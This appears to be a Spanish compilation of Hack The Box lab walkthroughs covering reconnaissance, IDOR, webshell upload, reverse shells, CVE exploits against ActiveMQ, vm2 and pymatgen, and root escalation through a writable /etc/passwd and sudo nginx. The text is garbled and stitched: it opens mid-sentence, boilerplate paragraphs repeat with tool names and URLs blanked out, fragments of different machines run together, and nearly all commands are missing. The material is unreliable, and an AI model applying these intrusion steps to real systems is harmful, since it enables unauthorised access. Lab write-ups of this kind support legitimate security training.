, en el resultado obtenido, comprobamos una tabla mencionada USER_LOGIN
.
Al revisar los datos de dicha tabla, nos encontramos con las credenciales del usuarioadmin
en formato hash SHA
, tal cómo se mencionaba en el archivo de configuración de seguridad.
Para lograr crackear este hash, nos encontramos con la siguiente herramienta.
Intentamos crackear el has obtenido y finalmente logramos obtener las credenciales en texto plano del hash del usuario admin
.
Intentamos cambiar de usuario al usuario root
con las credenciales obtenidas, y comprobamos del correcto acceso como root
. Finalmente, visualizamos la flag root.txt.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página que no nos muestra aparentemente nada. Realizamos fuzzing de directorios, subdominios y tampoco logramos encontrar nada interesante. Simplemente, podemos observar que se trata de un IIS 6.0
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que se trata de un panel de Apache Tomcat
.
Al probar de acceder a no logramos encontrar nada importante.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página que no nos muestra aparentemente nada. Realizamos fuzzing de directorios, subdominios y tampoco logramos encontrar nada interesante.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que se trata de un panel de inicio de sesión. También ofrece la opción de iniciar sesión como invitado a través de la opción Login as guest.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con un panel de inicio de sesión de PRTG Network Monitor (NETMON)
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Revisaremos la página que hemos encontrado y en este caso al intentar iniciar sesión con credenciales por defecto nos indica que el Login se encuentra en mantenimiento en estos momentos y no se puede utilizar. Intentamos realizar la típica inyección SQL para verificar si es vulnerable el panel de Login, pero también recibimos el mismo mensaje de error.
Procederemos a revisar la página web de y verificamos que al parecer no hay al parecer ningún tipo de información, podríamos también intentar descargarnos las imágenes de esta galería en busca de información sensible en los metadatos, pero después de revisarlos tampoco van por aquí los tiros...
Al revisar el sitio web de revisamos que al parecer tiene un buscador el cual a medida del input que le introduzcas, el resultado que te muestra son correos electrónicos que posiblemente quedándonos con el nombre del usuario, sean usuarios válidos del dominio.
Con la ayuda de hemos creado el siguiente script en Python que realizará solicitudes con un payload de la (A-Z) en busca de enumerar correos electrónicos que nos muestre la página web en la respuesta.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que se trata de una página web en la cual no nos muestra gran información.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y comprobaremos que efectivamente se trata del CMS de Drupal
.
En la siguiente respuesta de nos indica una manera sencilla de verificar la versión exacta que se encuentra instalada de Drupal
.
A través de la herramienta de , realizaremos una consulta para verificar la manera de abusar de este binario que podemos ejecutar como sudo
para lograr acceso como root
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
, debido a que en el resultado de Nmap
, nos aparecía que el sitio web nos redirigía a
Accedemos al sitio web en el cual parece ser un visualizado de archivos .MD
(Markdown). Vemos que nos permite subir archivos en el sitio web.
Probaremos de acceder a y vemos que nos requiere de credenciales de acceso que no disponemos.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos que se trata de un panel de administración de una impresora.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
BoardLight
es una máquina Linux de dificultad fácil que cuenta con una instancia Dolibarr
vulnerable a . Esta vulnerabilidad se aprovecha para obtener acceso como www-data
. Después de enumerar y volcar el contenido del archivo de configuración web, las credenciales de texto sin formato conducen al acceso SSH
a la máquina. Al enumerar el sistema, se identifica un binario SUID
relacionado con enlightenment
que es vulnerable a la escalada de privilegios a través de y se puede abusar de él para aprovechar un shell raíz.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a , verificamos que se trata de una página en la cual a simple vista no logramos ver más páginas ni ningún tipo de información relevante.
Al tratar de acceder a nos encontramos con un panel de inicio de sesión de Dolibarr 17.0.0.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos el siguiente contenido. Verificamos que hay un apartado en donde mencionan algo de phpbash
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web.
Al realizar un escaneo con dirsearch sobre el objetivo , encontramos algunos directorios interesantes:
Al acceder a se nos mostraba una página con un mensaje de error. Entre la información reportada, se nos indica que la página web utiliza Apache OFBiz
.
Bank
es una máquina relativamente simple, sin embargo, una enumeración web adecuada es clave para encontrar los datos necesarios para la entrada. También existe un método de entrada no deseado, que muchos usuarios descubren antes de encontrar los datos correctos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Bank. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
, el servicio de DNS
y SSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Realizamos una enumeración de directorios y páginas web a través de la herramienta de feroxbuster
, pero no logramos obtener resultado ninguno.
Probamos de aplicar Virtual Hosting
para verificar si al acceder a través de http://bank.htb se nos mostraba una página diferente.
El nombre de dominio lo podemos deducir de las máquinas que ya hemos realizado en HTB, pero también se nos presentaba esta información en la enumeración de Nmap
al realizar el traceroute
.
Realizaremos una enumeración a través del DNS
que se encuentra expuesto, para verificar si logramos obtener más información al respecto de nombres de dominio.
El comando dig A @10.10.10.29 bank.htb
se utiliza para consultar un servidor DNS específico (en este caso, 10.10.10.29) para obtener el registro A (dirección IPv4) de un dominio, en este caso, bank.htb. Esto es útil para verificar la resolución de nombres de dominio y asegurarse de que el servidor DNS está configurado correctamente.
El comando dig AAAA @10.10.10.29 bank.htb
consulta el servidor DNS en la dirección 10.10.10.29 para obtener el registro AAAA, que corresponde a la dirección IPv6 del dominio bank.htb. Este tipo de consulta se utiliza para obtener la dirección IPv6 asociada a un nombre de dominio.
El comando dig any bank.htb @10.10.10.29
realiza una consulta DNS de tipo ANY al servidor DNS en la dirección 10.10.10.29 para obtener todos los registros asociados al dominio bank.htb. Esto incluye registros de tipo A, AAAA, MX, TXT, entre otros.
El comando dig axfr bank.htb @10.10.10.29
realiza una consulta de transferencia de zona DNS (AXFR) al servidor DNS en la dirección 10.10.10.29 para obtener todos los registros DNS asociados al dominio bank.htb. Esto generalmente se usa para obtener una copia completa de la zona DNS, pero puede ser restringido por el servidor para evitar la divulgación de información sensible, como en este caso.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Realizamos una enumeración de la página web en la cual nos proporcionó el siguiente resultado con diversas páginas y directorios interesantes.
Volveremos a realizar la enumeración de directorios, pero esta vez con la herramienta de gobuster
.
Al realizar la enumeración, verificamos que se nos muestra distintos directorios, entre los cuales nos llama la atención el nombre de balance-transfer
.
Al realizar la comprobación de uno de esos archivos, verificamos que se trata de un reporte bancario en el cual aparecen datos del usuario, contraseña, transacciones etc. Este contenido se encuentra encriptado.
Desde la propia página web, tratamos de comprobar si alguno de esos archivos tenía un tamaño distinto, con lo cual probamos en darle a la opción de Size
y se ordenó alfabéticamente de menor a mayor tamaño.
En el resultado obtenido, comprobamos que solamente uno de ellos tenía un tamaño menor al resto, lo cual nos llevó a sospechar que quizás tuviera otro contenido sensible, etc.
Al realizar la comprobación del archivo, verificamos que aparecían las credenciales del usuario chris
en texto plano. Al parecer, la encriptación no funcionó en ese archivo, por ese motivo el tamaño inferior al resto.
También podemos realizar esa comprobación a través del siguiente comando de cURL
, en el cual filtrábamos por el nombre del archivo junto a su tamaño y a través de expresiones regulares, eliminábamos aquellos resultados repetitivos.
Verificamos que hemos logrado acceso a la cuenta de banco del usuario chris
. Entre la información presente, podemos visualizar el saldo disponible, transacciones, etc.
Ingresando al apartado de Support
, comprobamos que teníamos la capacidad de realizar un ticket y subir un archivo, con lo cual nos llevó a pensar en subir un archivo malicioso (webshell) para lograr tener acceso al sistema.
Al intentar subir directamente un archivo con extensión .php
, se nos mostró el siguiente mensaje de error indicando que solamente estaba permitido la subida de imágenes.
Tratamos de cambiar el Content-Type
y la extensión del archivo a una que nos acepte el servidor. Al enviar la solicitud, se nos indicó que se había realizado correctamente la solicitud.
Comprobamos en el panel de My Tickets
que se ha creado nuestro ticket en el cual dispone de un Attachment
que es el archivo que hemos logrado subir.
Al acceder al archivo, se nos mostraba la URL
en la cual se almacenaban estos archivos y en este caso, como realmente no era una imagen, nos apareció el siguiente mensaje de error.
Probamos distintas manera de intentar eludir la restricción del File Upload
, pero en ninguna obtuvimos resultado...
Revisando el código fuente de http://bank.htb/support.htb, verificamos que aparece una línea comentada en la cual se informa que han añadido la extensión .htb
para que pueda ejecutar php
con propósitos de debug, algo bastante inusual...
Por lo tanto, decidimos en intentar subir un archivo con extensión .htb
tal y como se nos indicaba, verificamos que se logra subir correctamente el archivo malicioso de nuestra webshell.
Realizamos una comprobación para verificar que tenemos la capacidad de ejecutar comandos a través de la webshell subida.
Al verificar el RCE, el siguiente paso será lograr obtener acceso al sistema. Nos pondremos en escucha con nc
.
A través del primer comando, lo que realizaremos es codificar nuestra sintaxis de la reverse shell en formato URL, para no tener problemas a la hora de ejecutarlo a través de la webshell.
Una vez obtenido el comando a ejecutar, haremos uso de la webshell para otorgarnos acceso al sistema.
Verificamos que finalmente logramos acceso al equipo y podemos visualizar la flag de user.txt.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Realizaremos una verificación inicial de los privilegios que dispone el usuario actual. Verificamos que no disponemos de algún grupo interesante ni permisos de sudoers
.
Al verificar si había algún permiso de SUID
sobre algún binario, comprobamos la existencia de un binario inusual llamado /var/htb/bin/emergency
.
Verificamos el propietario de este binario y nos encontramos que es root
.
Probamos de utilizar el binario para verificar el funcionamiento de este. Inesperadamente, este binario nos proporcionó acceso como root
con lo cual pudimos visualizar la flag de root.txt.
Al parecer este binario era como una especie de backdoor
que habrían dejado los administradores del sistema.
Por otro lado, otra manera de realizar el PrivEsc en esta máquina es la siguiente.
Revisando los archivos que teníamos capacidad de escritura, nos encontramos que podíamos escribir el archivo /etc/passwd
.
Por lo tanto, generamos una contraseña a través de openssl
y verificamos que en este caso, el usuarioroot
no disponía de ninguna contraseña asignada. Con lo cual, podemos añadir un nuevo usuario, o remplazar la x
por el valor de nuestra contraseña generada para que el usuarioroot
disponga de nuestras credenciales.
Modificamos el archivo /etc/passwd
y le asignamos al usuarioroot
nuestras credenciales generadas, verificamos que los cambios se han guardado correctamente.
Migramos al usuario root
e introducimos nuestras credenciales asignadas. Verificamos el acceso como usuarioroot
y la flag root.txt.
Codify
es una sencilla máquina Linux que cuenta con una aplicación web que permite a los usuarios probar el código Node.js
. La aplicación utiliza una biblioteca vm2
vulnerable, que se aprovecha para obtener la ejecución remota de código. Al enumerar el objetivo se revela una base de datos SQLite
que contiene un hash que, una vez descifrado, otorga acceso SSH
al equipo. Finalmente, se puede ejecutar un script Bash
vulnerable con privilegios elevados para revelar la contraseña del usuario root
, lo que genera acceso privilegiado a la máquina.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Codify. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
, un framework de Node.js
y el servicio de SSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una enumeración de directorios y páginas web a través de dirsearch
. Nos devuelve el siguiente resultado.
Al hacer hovering
sobre el hipervínculo de vm2
, se nos indica lo que parece ser la versión exacta que utiliza la página web de Codify
.
Realizando una búsqueda por Internet de posibles vulnerabilidades de la biblioteca vm2
, nos encontramos con el siguiente repositorio de GitHub.
En el repositorio de GitHub, se nos proporciona un PoC para realizar la explotación de la vulnerabilidad y poder escapar del Sandbox
de la aplicación web de Codify
. En este caso, lo que realizará es mostrar el resultado del binario /usr/bin/id
.
Al inyectar el siguiente código malicioso y darle a la opción de Run
, comprobamos que en el resultado que nos muestra el servidor, nos aparece el resultado de la ejecución del comando echo /usr/bin/id
. Con lo cual, parece ser que podemos llegar a inyectar comandos y lograr finalmente unRemote Code Execution
, además comprobamos que el usuario que ha ejecutado el comando es svc
.
Teniendo esto presente, el siguiente paso será lograr obtener acceso al sistema. Con lo cual, con la herramienta de nc
nos pondremos en escucha para recibir la Reverse Shell.
En Codify
, inyectaremos el siguiente código malicioso que nos permitirá ejecutar la Reverse Shell.
Verificamos que hemos conseguido el acceso a la máquina víctima con el usuario svc
.
Revisaremos los grupos a os que formamos parte a través del usuario svc
, por otro lado, intentamos comprobar si disponemos de permisos de sudoers
pero nos requiere proporcionar credenciales que no disponemos.
Revisamos el archivo /etc/passwd
y comprobamos los usuarios del sistema que disponen de bash
.
Enumerando el directorio de /var/www/contact
nos encontramos con el archivo tickets.db
de una base de datos de SQLite. Al analizar el archivo, comprobamos que se nos muestran las credenciales del usuario joshua
.
Intentaremos crackear el hash obtenido a través de hashcat
y finalmente logramos obtener las credenciales en texto plano.
Dado que el servicio de SSH
se encuentra expuesto, nos conectaremos directamente al equipo y finalmente logramos visualizar la flag de user.txt.
Revisaremos los grupos que forma parte este nuevo usuario que disponemos pero comprobamos que no dispone de ningún grupo interesante.
Al revisar los permisos de sudoers
nos encontramos que podemos ejecutar como usuario sudo
el script localizado en /opt/scripts/mysql-backup.sh
.
Revisaremos el contenido del script mysql-backup.sh
.
Este script en Bash realiza las siguientes acciones.
Tratamos de ejecutar el script para verificar el funcionamiento, pero nos pide proporcionar las credenciales del usuario root
del MySQL
.
El script original verifica la contraseña de MySQL con la siguiente condición en Bash:
Sin embargo, esta validación puede ser vulnerable a un bypass cuando se utiliza el carácter *
en la variable DB_PASS
. En Bash, el *
es un comodín que coincide con cualquier valor, lo que hace que la comparación del if
siempre sea verdadera, independientemente del valor de la contraseña ingresada.
Por ejemplo, si un atacante inserta *
en la variable USER_PASS
, la condición if
se evaluará como verdadera, permitiendo el bypass de la verificación.
Posible Exposición de Contraseña a través de Procesos
Tras realizar el bypass, un atacante podría intentar observar los procesos en ejecución para obtener las credenciales. Si el script está interactuando con la base de datos o realizando operaciones donde la contraseña esté presente en los parámetros o el entorno del proceso, es posible que la contraseña se pueda ver revisando los procesos del sistema como Pspy
.
En este caso, intentamos realizar el Bypass
descrito y verificamos que logramos ejecutar el script correctamente ingresando *
como credenciales.
En nuestro equipo loca, deberemos de compartir el binario de pspy64
.
En el equipo víctima, nos descargaremos pspy64
y le daremos los permisos correspondientes.
Ejecutaremos en una terminal el pspy64
para analizar todos los procesos que se vayan ejecutando a tiempo real.
Ejecutaremos el script comosudo
desde otra terminal distinta(nos conectamos con otra terminal con el usuario joshua
).
Después de ejecutar 2-3 veces el script, verificamos que la herramienta de pspy64
logra obtener el proceso de acceder al MySQL
con las credenciales que se encuentran en /root/.creds
Intentamos revisar si estas credenciales se reutilizan para el usuario root
, logramos convertirnos y visualizar la flag de root.txt.
Cap
es una máquina Linux de dificultad fácil que ejecuta un servidor HTTP que realiza funciones administrativas, incluida la realización de capturas de red. Los controles inadecuados dan como resultado una referencia directa a objetos insegura (IDOR) que otorga acceso a la captura de otro usuario. La captura contiene credenciales de texto sin formato y se puede utilizar para obtener un punto de apoyo. Luego, se aprovecha una capacidad de Linux para escalar a la raíz.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Cap. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abiertos el servicio SSH, FTP y una página web.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Trataremos de acceder al FTP
con el usuario anonymous, nos encontramos que no podemos acceder anónimamente al FTP.
Accediendo a la opción de Network Status
podemos comprobar un resumen sobre los puertos que están expuestos en el equipo. No logramos visualizar nada interesante.
Accediendo al apartado de IP Config
nos encontramos las interfaces de red que están habilitadas en el equipo.
Si accedemos al apartado de Security Snapshot (5 second PCAP + Analysis)
en el cual nos descarga, lo que parece ser una snapshot de seguridad en un archivo .PCAP
.
Al analizar el archivo, no encontramos nada relevante en él.
esperando nuevamente 5 segundos y accediendo a la opción, verificamos que nos carga una nueva entrada diferente a la anterior, lo cual nos parece algo extraño.
Interceptaremos la solicitud a la hora de descargar el archivo para verificar cómo se tramita la solicitud por parte del servidor.
Verificamos que hace una petición por GET
a /download/2
donde 2 es el nombre que nos aparecía en la URL antes de descargar el archivo. Por lo tanto, lo que podemos pensar es en lo siguiente.
Insecure Direct Object Reference (IDOR), o Referencia Directa a Objetos Inseguros, es una vulnerabilidad que ocurre cuando una aplicación permite el acceso directo a un recurso (como archivos, objetos, o registros en una base de datos) sin validar correctamente si el usuario tiene los permisos necesarios para acceder a dicho recurso.
En un ataque IDOR, el atacante modifica un identificador (como un ID numérico, nombre de archivo o clave en una URL o solicitud HTTP) para acceder a recursos que no le pertenecen. Si la aplicación no valida los permisos de acceso, el atacante puede obtener o modificar información confidencial.
Crearemos un script sencillo en Bash
que se encargue de realizar una descarga a http://10.10.10.245/download/$i en donde el valor $i
será remplazado por el bucle para probar del 0 al 100.
Le darmeos permisos de ejecución al script y al ejecutarlo, verificamos que hemos logrado obtener diferentes archivos .PCAP
simplemente modificando el valor del ID del archivo, por lo tanto, hemos podido abusar de la vulnerabilidad de IDOR
.
Analizaremos todos los archivos PCAP
encontrados. Al revisar el archivo 0.pcap
nos encontramos que existen solicitud que se realizaron al protocolo FTP
.
Seleccionando la petición indicada, le daremos a Seguir < TCP Stream
para verificar más sobre la solicitud.
Comnprobamos que nos aparecen las credenciales en texto plano del usuario nathan
.
Probaremos de conectarnos mediante SSH con las credenciales encontradas. Logramos obtener el acceso y verificar la flag de user.txt.
Revisando los permisos del usuario nathan
, nos encontramos que este usuario tenía asignado una capabilitie
de python3.8
. La cual podríamos intentar aprovechar para escalar privilegios al usuario root
.
Accedemos al binario de Python y probamos de cambiarnos de UID
y de acceder a una consola por bash
como usuario root
. Logramos obtener una terminal como usuario root
y visualizar la flag de root.txt.
Broker
es una máquina Linux de fácil dificultad que aloja una versión de Apache ActiveMQ
. La enumeración de la versión de Apache ActiveMQ
muestra que es vulnerable a la ejecución de código remoto no autenticado, que se aprovecha para obtener acceso de usuario en el objetivo.
La enumeración posterior a la explotación revela que el sistema tiene una configuración incorrecta de sudo que permite al usuario activemq ejecutar sudo /usr/sbin/nginx
, que es similar a la reciente divulgación de Zimbra y se aprovecha para obtener acceso de root.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina Broker
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Nginx
y un servicio llamado ActiveMQ
.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
La página web al parecer habla sobre un servicio llamado ActiveMQ
. Revisando información sobre este software nos encontramos lo siguiente.
Verificamos que en el resultado obtenido en Nmap
, nos aparece la versión de este software: ActiveMQ
.
Realizando una búsqueda sobre posibles vulnerabilidades de este software, nos encontramos con el siguiente CVE-2023-46604
.
El protocolo Java OpenWire marshaller es vulnerable a la ejecución de código remoto. Esta vulnerabilidad puede permitir a un atacante remoto con acceso a la red a un corredor de OpenWire basado en Java o cliente ejecutar comandos de shell arbitrarios manipulando tipos de clase serializados en el protocolo OpenWire para hacer que el cliente o el corredor (respectivamente) instantáneamente cualquier clase en el camino de clase.
Se recomienda a los usuarios actualizar tanto a los corredores como a los clientes a la versión 5.15.16, 5.16.7, 5.17.6, o 5.18.3 que corrija este problema.
También nos encontramos con el siguiente repositorio de GitHub en la cual nos aparece el exploit para poder aprovecharnos de esta vulnerabilidad. Procederemos a descargarnos el repositorio en nuestro equipo atacante.
En el repositorio nos explica el funcionamiento del exploit. En este caso lo que nos indica es generar un binario malicioso ELF
que nos proporcione una Reverse Shell, al ejecutar el exploit ganaremos acceso a la máquina víctima a través de que el ActiveMQ
procesa el XML
que disponemos del repositorio y al deserializarlo se logra explotar esta vulnerabilidad.
El primer paso a realizar, será crear un payload de la Reverse Shell con el formato .elf
y el nombre test.elf
, donde especificaremos nuestra dirección IP y el puerto donde estaremos en escucha con nc.
Del archivo que nos proporciona el repositorio, procederemos a modificar el archivo poc-linux.xml
y modificaremos la IP por la nuestra, dejaremos el resto por defecto.
Levantaremos un servidor web con Python por el puerto 8001, el especificado en el archivo XML
.
Por otro lado, nos pondremos en escucha por el puerto especificado en el payload generado con msfvenom
.
Procederemos a explotar la vulnerabilidad indicando la dirección IP de la víctima, el puerto donde se encuentra el ActiveMQ (por defecto viene en el 61616) y la URL donde nosotros tenemos alojado el archivo XML
malicioso que deserializará el ActiveMQ
.
Verificamos que si volvemos a la terminal donde estabamos en escucha, recibimos correctamente la Reverse Shell hacía la máquina víctima. Verificamos los grupos y demás que disponemos sin ver nada que nos pueda servir para escalar privilegios.
Revisando si disponemos de algún permiso de sudo
, verificamos que podemos ejecutar el Nginx
como usuario root
.
Realizando una búsqueda por Internet de como aprovecharnos de esta vulnrabilidad, nos encontramos con el siguiente repositorio de GitHub.
El siguiente repositorio nos proporcionaba el siguiente script para crear una configuración en Nginx
maliciosa.
El siguiente script realizará una configuración de Nginx
que habilite una página web por el puerto 1338
. Se indicará que el servidor tenga capacidad para realizar un listado de directorios (directory listing
) en el directorio raíz (/
), dado que el usuario que ejecuta Nginx es root
.Esto nos permitirá listar los archivos del sistema sin restricciones.
Además, se habilitará el método PUT
para que se puedan subir contenidos a través de la página web vulnerable que estamos montando. Una vez configurado, procederemos a cargar la configuración del sitio web vulnerable.
Procederemos a darle permisos de ejecución al script realizado y a ejecutarlo para levantar el sitio web vulnerable.
Al verificar esto, y dado que hemos verificado en el escaneo inicial de Nmap
de que el servicio de SSH
se encuentra expuesto, el objetivo será crear en nuestra máquina atacante una clave pública que subiremos a través del método PUT
al servidor web vulnerable en la ruta /root/.ssh/authorized_keys
.
Mostraremos el contenido de la clave pública id_rsa.pub
que hemos generado en nuestra máquina y a través de la herramienta cURL
procederemos a subir este contenido dentro del archivo authorized_keys
, esto con el objetivo de que nuestra clave pública se encuentre permitida en la máquina pública y nos podamos conectar como usuario root
sin proporcionar credenciales.
Verificaremos que se ha subido correctamente el contenido dentro del archivo authorized_keys
.
Procederemos a coenctarnos mediante SSH
con el usuario root
en la máquina víctima. Verificamos del acceso correctamente y de la flag user.txt.
Chemistry
es una máquina Linux de dificultad fácil que muestra una vulnerabilidad de ejecución remota de código (RCE) en la biblioteca Python pymatgen
(CVE-2024-23346) al cargar un archivo CIF
malicioso en el sitio web CIF Analyzer
alojado en el objetivo. Después de descubrir y descifrar los hashes, nos autenticamos en el objetivo a través de SSH como usuario rosa
. Para la escalada de privilegios, explotamos una vulnerabilidad de Path Traversal que conduce a una lectura de archivo arbitrario en una biblioteca Python llamada AioHTTP
(CVE-2024-23334) que se utiliza en la aplicación web que se ejecuta internamente para leer el indicador raíz.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina Chemistry
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página en el puerto 5000 y del servicio SSH expuesto.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
Tambiñen verificamos que disponemos de las opciones para iniciar sesión o registrarnos como usuario.
Procederemos a descargarnos el archivo CIF
para analizar la estructura de este mismo.
Al verificar el contenido del archivo de ejemplo recién descargado, verificaremos la estructura de este mismo.
Procederemos a subir el archivo de ejemplo example.cif
y verificamos que nos aparecen las opciones (View, Delete). Procederemos a visualizar el archivo CIF
subido.
Verificamos que nos reddirige al siguiente resultado. Por lo que podemos apreciar, al parecer lo que ocurre por detrás de la herramienta es la deserialización de los datos para ser posteriormente mostrados en el siguiente resultado.
Realizando una investigación sobre posibles vulnerabilidades para crear archivos CIFs
maliciosos, nos encontramos con el siguiente CVE.
Pymatgen (Python Materials Genomics) es una librería Python de código abierto para análisis de materiales. Existe una vulnerabilidad de seguridad crítica en el método JonesFaithfulTransformation.from_transformation_str() dentro de la librería pymatgen antes de la versión 2024.2.20.
Este método utiliza de forma insegura eval() para procesar la entrada, lo que permite la ejecución de código arbitrario al analizar entradas que no son de confianza. La versión 2024.2.20 soluciona este problema.
También encontramos con el siguiente repositorio de GitHub que nos muestra un ejemplo de un archivo CIF
malicioso que permite la ejecución de comandos remotos.
En este ejemplo, para probar que la vulnerabilidad existe y podemos aprovecharnos de ella, lo que realizaremos es que haga una solicitud con la herramienta wget
a nuestro servidor web que montaremos posteriormente y haga una llamada a un archivo que no existe. Esto con el objetivo de verificar si recibimos en nuestro servidor web la solicitud que realiza el equipo víctima a nuestro servidor.
Procederemos a subir al sitio web el archivo CIF
malicioso.
Antes de visualizar el contenido del archivo malicioso, nos levantaremos un servidor web con Python.
Procederemos a visualizar el archivo malicioso subido para revisar si se ejecuta el comando arbitrario.
En nuestro servidor web, verificamos que se ha recibido una solicitud GET
desde el equipo víctima. Esto nos acaba confirmando de que podemos lograr ejecutar comandos remotos en la máquina víctima.
Sabiendo esto, nuestro objetivo será intentar ganar acceso a través de una Reverse Shell al equipo víctima.
Nos pondremos en escucha por un puerto, subiremos nuevamente el nuevo archivo CIF
malicioso y al visualizarlo desde la página web, verificaremos que hemos recibido el acceso a la máquina víctima correctamente.
Revisando el directorio en el cual nos encontramos actualmente con el usuario adminapp
, revisamos que existe un archivo de una base de datos.
Al verificar el contenido de la base de datos, nos encontramos con usuarios y lo que parecen ser contraseñas en formato hash.
Procederemos a crackear los hashes obtenidos, y verificamos que logramos crackear el hash del usuario rosa
y obtenemos sus credenciales en texto plano.
Desde la consola que ya disponemos acceso, procederemos a migrar al usuario rosa
accediendo con las credenciales obtenidas, verificamos que ganamos del acceso correctamente.
También verificamos que hemos ganado el acceso a la flag de user.txt
Reviasndo los puertos que se encuentran abiertos en la máquina, verificamos que hay un proceso llamado localhost:http-alt
.
Al realizar un cURL
al sitio web, verificamos que recibimos la respuesta por parte del servidor de lo que parece ser una web activa.
Revisaremos las cabeceras del sitio web en busca de información interesante. Entre la información encontrada, verificamos que utiliza aiohttp/3.9.1
.
Realizando una búsqueda sobre posibles vulnerabilidades de la versión del servidor, nos encontramos con el siguiente CVE-2024-23334
.
